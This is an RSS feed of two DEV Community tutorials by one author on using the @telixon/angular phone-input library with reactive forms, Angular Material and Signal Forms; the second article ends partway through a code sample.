<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Myroslav Martsin</title>
    <description>The latest articles on DEV Community by Myroslav Martsin (@myroslavmartsin).</description>
    <link>https://dev.to/myroslavmartsin</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F2492950%2Fb6e3e89f-ea38-4214-a65f-58d09e724d29.JPG</url>
      <title>DEV Community: Myroslav Martsin</title>
      <link>https://dev.to/myroslavmartsin</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/myroslavmartsin"/>
    <language>en</language>
    <item>
      <title>Phone input for Angular</title>
      <dc:creator>Myroslav Martsin</dc:creator>
      <pubDate>Tue, 13 Oct 2026 17:28:18 +0000</pubDate>
      <link>https://dev.to/myroslavmartsin/phone-input-for-angular-54bc</link>
      <guid>https://dev.to/myroslavmartsin/phone-input-for-angular-54bc</guid>
      <description>&lt;p&gt;A phone input has three jobs. It shows the number the way people write it in their country, checks it against the numbering plan of that country, and hands the form the one shape worth storing, the number in E.164. A mask covers the first job for a single country and leaves the other two to a regex, which is where most phone fields go wrong.&lt;/p&gt;

&lt;p&gt;This post builds such an input on a reactive form, adds a region picker, and then moves the same input into Angular Material. Each step runs on StackBlitz, linked at the end.&lt;/p&gt;

&lt;h2&gt;
  
  
  Install
&lt;/h2&gt;

&lt;p&gt;One command installs it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ng add @telixon/angular
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The schematic adds the package, the flags stylesheet, and the engine preload. Of the parts inside, this post uses two. &lt;code&gt;TelixonPhoneInput&lt;/code&gt; is a directive for your own &lt;code&gt;&amp;lt;input&amp;gt;&lt;/code&gt;. &lt;code&gt;TelixonRegionPicker&lt;/code&gt; shows the flag and a searchable list of countries next to it, linked to the input through &lt;code&gt;[for]&lt;/code&gt;. Both render on the server and restyle through one class selector each.&lt;/p&gt;

&lt;h2&gt;
  
  
  The input on a reactive form
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;ChangeDetectionStrategy&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;Component&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@angular/core&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;FormControl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;ReactiveFormsModule&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@angular/forms&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;TelixonPhoneInput&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;TelixonRegionPicker&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@telixon/angular&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;app-contact&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;imports&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;ReactiveFormsModule&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;TelixonPhoneInput&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;TelixonRegionPicker&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="na"&gt;changeDetection&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;ChangeDetectionStrategy&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;OnPush&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;template&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`
    &amp;lt;div class="field"&amp;gt;
      &amp;lt;telixon-region-picker [for]="phone" [prioritize]="['US', 'CA', 'GB']" /&amp;gt;

      &amp;lt;input
        type="tel"
        autocomplete="tel"
        aria-label="Phone"
        #phone="telixonPhoneInput"
        [telixonPhoneInput]="{ mode: 'international', defaultRegion: 'US', display: { callingCodeInInput: false } }"
        [formControl]="control"
        [placeholder]="phone.state()?.placeholder ?? ''"
      /&amp;gt;
    &amp;lt;/div&amp;gt;

    &amp;lt;p&amp;gt;{{ control.value ?? 'null' }}&amp;lt;/p&amp;gt;
    &amp;lt;p&amp;gt;{{ control.errors?.['telixonPhone']?.kind ?? 'none' }}&amp;lt;/p&amp;gt;
  `&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Contact&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;control&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;FormControl&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three attributes do the work. &lt;code&gt;[telixonPhoneInput]&lt;/code&gt; turns the input into a phone field, here in international mode with the calling code shown on the picker. &lt;code&gt;[formControl]&lt;/code&gt; binds it like any other input, while &lt;code&gt;[for]&lt;/code&gt; on the picker ties it to this field through the &lt;code&gt;#phone&lt;/code&gt; reference. The placeholder is an example number for the current country, &lt;code&gt;201-555-0123&lt;/code&gt; for the United States.&lt;/p&gt;

&lt;p&gt;The input itself stays a plain &lt;code&gt;&amp;lt;input&amp;gt;&lt;/code&gt;, styled by your CSS. The quick start gets by with this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight css"&gt;&lt;code&gt;&lt;span class="nc"&gt;.field&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;display&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;flex&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="py"&gt;gap&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0.5rem&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nc"&gt;.field&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;flex&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="m"&gt;10rem&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;min-width&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;padding&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0.55rem&lt;/span&gt; &lt;span class="m"&gt;0.7rem&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;font&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;inherit&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;border&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;1px&lt;/span&gt; &lt;span class="nb"&gt;solid&lt;/span&gt; &lt;span class="n"&gt;color-mix&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;in&lt;/span&gt; &lt;span class="n"&gt;srgb&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;currentColor&lt;/span&gt; &lt;span class="m"&gt;30%&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;transparent&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nl"&gt;border-radius&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0.375em&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;background&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;transparent&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;inherit&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Type &lt;code&gt;4155550132&lt;/code&gt; and the input shows &lt;code&gt;415-555-0132&lt;/code&gt; while the control holds &lt;code&gt;+14155550132&lt;/code&gt;. Type &lt;code&gt;416&lt;/code&gt; instead and the flag turns Canadian on its own, because Canada shares the calling code and 416 belongs to Toronto. Paste &lt;code&gt;+44 20 7183 8750&lt;/code&gt; and the picker jumps to the United Kingdom, where the same field shows &lt;code&gt;20 7183 8750&lt;/code&gt; and holds &lt;code&gt;+442071838750&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the form gets
&lt;/h2&gt;

&lt;p&gt;The control holds E.164 while the number is valid and &lt;code&gt;null&lt;/code&gt; the rest of the time, which spares everything downstream from parsing it again. An invalid number puts the reason under &lt;code&gt;telixonPhone&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nx"&gt;control&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;errors&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="c1"&gt;// { telixonPhone: { kind: 'TOO_SHORT', minLength: 10 }, required: true }&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The reason names the fault, &lt;code&gt;TOO_SHORT&lt;/code&gt; here, together with the detail behind it, the minimum length in this case or the prefix a country expects in another. The wording of the message stays yours, which keeps translation in your hands. One consequence of the &lt;code&gt;null&lt;/code&gt; value is worth knowing. While the number is incomplete, &lt;code&gt;Validators.required&lt;/code&gt; fires as well. Your template therefore checks &lt;code&gt;telixonPhone&lt;/code&gt; first. An empty input reports nothing of its own and leaves &lt;code&gt;required&lt;/code&gt; to do its job.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;ngModel&lt;/code&gt; works the same way:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"phone"&lt;/span&gt; &lt;span class="na"&gt;[telixonPhoneInput]=&lt;/span&gt;&lt;span class="s"&gt;"{ mode: 'international' }"&lt;/span&gt; &lt;span class="na"&gt;[(ngModel)]=&lt;/span&gt;&lt;span class="s"&gt;"phone"&lt;/span&gt; &lt;span class="na"&gt;#model&lt;/span&gt;&lt;span class="err"&gt;="&lt;/span&gt;&lt;span class="na"&gt;ngModel&lt;/span&gt;&lt;span class="err"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  The same input inside Angular Material
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;mat-form-field&lt;/span&gt; &lt;span class="na"&gt;appearance=&lt;/span&gt;&lt;span class="s"&gt;"outline"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;mat-label&amp;gt;&lt;/span&gt;Phone&lt;span class="nt"&gt;&amp;lt;/mat-label&amp;gt;&lt;/span&gt;

  &lt;span class="nt"&gt;&amp;lt;telixon-region-picker&lt;/span&gt; &lt;span class="na"&gt;matTextPrefix&lt;/span&gt; &lt;span class="na"&gt;[for]=&lt;/span&gt;&lt;span class="s"&gt;"phone"&lt;/span&gt; &lt;span class="na"&gt;anchor=&lt;/span&gt;&lt;span class="s"&gt;".mdc-text-field"&lt;/span&gt; &lt;span class="na"&gt;[prioritize]=&lt;/span&gt;&lt;span class="s"&gt;"['US', 'CA', 'GB']"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;

  &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt;
    &lt;span class="na"&gt;matInput&lt;/span&gt;
    &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"tel"&lt;/span&gt;
    &lt;span class="na"&gt;autocomplete=&lt;/span&gt;&lt;span class="s"&gt;"tel"&lt;/span&gt;
    &lt;span class="na"&gt;#phone&lt;/span&gt;&lt;span class="err"&gt;="&lt;/span&gt;&lt;span class="na"&gt;telixonPhoneInput&lt;/span&gt;&lt;span class="err"&gt;"&lt;/span&gt;
    &lt;span class="na"&gt;[telixonPhoneInput]=&lt;/span&gt;&lt;span class="s"&gt;"{ mode: 'national', defaultRegion: 'US' }"&lt;/span&gt;
    &lt;span class="na"&gt;[formControl]=&lt;/span&gt;&lt;span class="s"&gt;"control"&lt;/span&gt;
    &lt;span class="na"&gt;[placeholder]=&lt;/span&gt;&lt;span class="s"&gt;"phone.state()?.placeholder ?? ''"&lt;/span&gt;
  &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;

  @if (control.hasError('telixonPhone')) {
    &lt;span class="nt"&gt;&amp;lt;mat-error&amp;gt;&lt;/span&gt;{{ message(control.getError('telixonPhone')) }}&lt;span class="nt"&gt;&amp;lt;/mat-error&amp;gt;&lt;/span&gt;
  } @else if (control.hasError('required')) {
    &lt;span class="nt"&gt;&amp;lt;mat-error&amp;gt;&lt;/span&gt;Phone number is required.&lt;span class="nt"&gt;&amp;lt;/mat-error&amp;gt;&lt;/span&gt;
  }
&lt;span class="nt"&gt;&amp;lt;/mat-form-field&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;matInput&lt;/code&gt; goes on the same &lt;code&gt;&amp;lt;input&amp;gt;&lt;/code&gt; as the directive, which is the whole trick. Material draws the label, the outline, and the error state from the control, with no &lt;code&gt;MatFormFieldControl&lt;/code&gt; to write. &lt;code&gt;matTextPrefix&lt;/code&gt; places the picker on the text line, while &lt;code&gt;anchor=".mdc-text-field"&lt;/code&gt; lines its list up with the box Material draws. &lt;code&gt;message&lt;/code&gt; is a small switch over the fault kind in your component. The picker renders inside the form field, out of reach of component styles, which is why its one rule lives in the global stylesheet:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight scss"&gt;&lt;code&gt;&lt;span class="nc"&gt;.mat-mdc-form-field&lt;/span&gt; &lt;span class="nc"&gt;.tlx-region-picker__trigger&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;border&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;padding&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="mi"&gt;.5em&lt;/span&gt; &lt;span class="m"&gt;1rem&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="mi"&gt;.5em&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="mi"&gt;.5em&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="na"&gt;margin-inline-start&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;-0&lt;/span&gt;&lt;span class="mi"&gt;.5em&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="na"&gt;translate&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="m"&gt;-1px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Signal Forms
&lt;/h2&gt;

&lt;p&gt;On Angular 22 the same field binds to a Signal Form through &lt;code&gt;[formField]&lt;/code&gt; as &lt;code&gt;TelixonPhoneField&lt;/code&gt;, where the error arrives with a message and the fault. The walk-through is in &lt;a href="https://dev.to/myroslavmartsin/phone-field-on-angular-signal-forms-2ohh"&gt;Phone field on Angular Signal Forms&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Run it
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://stackblitz.com/github/martsinlabs/telixon/tree/main/examples/angular/quick-start" rel="noopener noreferrer"&gt;The reactive form on StackBlitz&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://stackblitz.com/github/martsinlabs/telixon/tree/main/examples/angular/quick-start-material" rel="noopener noreferrer"&gt;The Material field on StackBlitz&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://telixon.dev/angular/" rel="noopener noreferrer"&gt;Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/martsinlabs/telixon" rel="noopener noreferrer"&gt;Source&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The engine behind all of this is compiled from Google libphonenumber's metadata and checked against it in CI. If a number formats or validates differently from Google libphonenumber, open an issue with the number. A wrong answer is a bug.&lt;/p&gt;

</description>
      <category>angular</category>
      <category>webdev</category>
      <category>ux</category>
    </item>
    <item>
      <title>Phone field on Angular Signal Forms</title>
      <dc:creator>Myroslav Martsin</dc:creator>
      <pubDate>Wed, 07 Oct 2026 19:42:24 +0000</pubDate>
      <link>https://dev.to/myroslavmartsin/phone-field-on-angular-signal-forms-2ohh</link>
      <guid>https://dev.to/myroslavmartsin/phone-field-on-angular-signal-forms-2ohh</guid>
      <description>&lt;p&gt;Signal Forms went stable in Angular 22. They bring &lt;code&gt;FormValueControl&lt;/code&gt;, a contract through which custom controls hand their value and their errors to the form. Toggles and steppers meet it in a few lines, because the value they show is the value they store. The real test comes when those two drift apart, when an input shows one thing and its model holds another.&lt;/p&gt;

&lt;p&gt;A phone field is such a control. The user types &lt;code&gt;4155550132&lt;/code&gt;. The input shows &lt;code&gt;(415) 555-0132&lt;/code&gt; while the model stores &lt;code&gt;+14155550132&lt;/code&gt;. Between the two sit parsing, formatting, and validation per country. The contract asks the control to hand over the E.164 value and a typed error when the number is incomplete. This is the first hurdle.&lt;/p&gt;

&lt;p&gt;The second hurdle appears as soon as the field moves into Angular Material, which has a contract of its own. A custom component inside &lt;code&gt;&amp;lt;mat-form-field&amp;gt;&lt;/code&gt; has to implement &lt;code&gt;MatFormFieldControl&lt;/code&gt;, whichever forms API it binds with. The &lt;a href="https://material.angular.dev/guide/creating-a-custom-form-field-control" rel="noopener noreferrer"&gt;guide&lt;/a&gt; for it runs 529 lines, with a phone input as the worked example.&lt;/p&gt;

&lt;p&gt;Both come down to one idea. The control is a directive on a native &lt;code&gt;&amp;lt;input&amp;gt;&lt;/code&gt;. The form gets its value and errors from the directive, while Material keeps its own &lt;code&gt;matInput&lt;/code&gt; on the same element. The rest of this post builds the field step by step, from a bare &lt;code&gt;&amp;lt;input&amp;gt;&lt;/code&gt; to Angular Material. The Material step ends with zero lines of &lt;code&gt;MatFormFieldControl&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Starting point
&lt;/h2&gt;

&lt;p&gt;The field comes from &lt;code&gt;@telixon/angular&lt;/code&gt;, which one command installs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ng add @telixon/angular
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The schematic adds the package, the flags stylesheet, and &lt;code&gt;provideTelixon&lt;/code&gt; with the engine preload. The package is a kit. Two of its parts matter here. &lt;code&gt;TelixonPhoneField&lt;/code&gt; is a directive for your own &lt;code&gt;&amp;lt;input&amp;gt;&lt;/code&gt;. &lt;code&gt;TelixonRegionPicker&lt;/code&gt; adds the flag and a searchable list of countries next to it and links to the field through &lt;code&gt;[for]&lt;/code&gt;. Both render on the server and restyle through one class selector each.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step one, a bare input on a Signal Form
&lt;/h2&gt;

&lt;p&gt;Start with your own markup, a &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;, the picker, and an &lt;code&gt;&amp;lt;input&amp;gt;&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;ChangeDetectionStrategy&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;computed&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;signal&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@angular/core&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;FormField&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;form&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;required&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@angular/forms/signals&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;TelixonPhoneField&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;TelixonRegionPicker&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@telixon/angular&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;app-contact&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;imports&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;FormField&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;TelixonPhoneField&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;TelixonRegionPicker&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="na"&gt;changeDetection&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;ChangeDetectionStrategy&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;OnPush&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;template&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`
    &amp;lt;div class="field"&amp;gt;
      &amp;lt;telixon-region-picker [for]="phone" [prioritize]="['US', 'CA', 'GB']" /&amp;gt;

      &amp;lt;input
        type="tel"
        autocomplete="tel"
        aria-label="Phone"
        #phone="telixonPhoneField"
        [telixonPhoneField]="{ mode: 'international', defaultRegion: 'US', display: { callingCodeInInput: false } }"
        [formField]="contactForm.phone"
        [placeholder]="phone.state()?.placeholder ?? ''"
      /&amp;gt;
    &amp;lt;/div&amp;gt;

    &amp;lt;p&amp;gt;{{ model().phone ?? 'null' }}&amp;lt;/p&amp;gt;
    &amp;lt;p&amp;gt;{{ error() }}&amp;lt;/p&amp;gt;
  `&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Contact&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;model&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;signal&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;phone&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;phone&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
